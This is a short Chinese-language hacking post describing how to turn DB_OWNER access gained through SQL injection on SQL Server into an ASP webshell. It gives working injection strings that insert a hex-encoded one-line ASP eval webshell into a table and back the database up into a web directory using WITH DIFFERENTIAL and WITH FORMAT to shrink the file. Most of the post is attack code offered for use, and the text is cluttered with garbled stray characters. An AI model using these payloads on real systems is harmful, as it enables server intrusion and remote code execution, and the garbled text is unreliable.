DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

减少备份文件大小，得到可执行的webshell成功率提高不少
1 R6 f! y. v9 W0 \+ n9 K3 w一利用差异备份
! {* ^3 Z& y! G0 J2 ~: k1 E加一个参数WITH DIFFERENTIAL

6 k9 j# Q* W, c4 d3 v' L3 k9 _1
, c: H- O, Q  U$ k2
3
+ Q" h; h6 q: F4
! k5 K; v3 u" i- h+ I declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
+ m+ o0 P0 K" g8 k5 U4 I. g8 Pcreate table [dbo].[xiaolu] ([cmd] [image]);
% J& h) {0 C4 Linsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
& E9 \* h4 ?3 d& _2 ?/ gdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

1 Y2 f5 F& p: j: P4 w9 e* @二利用完全FORMAT
# k! Y# f( _  d加一个参数WITH FROMAT
: w. y9 d5 f) |6 Z+ Y# h有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

1
  T1 l# ~& S. n2
& }) e7 Z# k: F- d; n6 ]' ^) R3
( y$ h/ s  C5 v# E1 {& B! d4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
4 b1 z$ S, ^0 L% ?create table [dbo].[xiaolu] ([cmd] [image]);
! n% K% F) F1 E( L, h  ]insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
! Y0 a# `4 K, [
总的来说就是那么简单几句,下面以备份数据库model为例子
1

9 Y0 Z  Z* u* v9 w' J: q1
( a$ h3 i. D* P' H& x5 ^ id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
1 V7 M5 w; v/ Y9 z% m/ N
  B4 A& K+ i9 d3 l! u2
+ y4 f9 b. v+ i0 A% H8 ~
1
0 ?! D& \1 f7 H" l/ r. v% g id=1;backup database model to disk='你的路径‘ with differential,format;--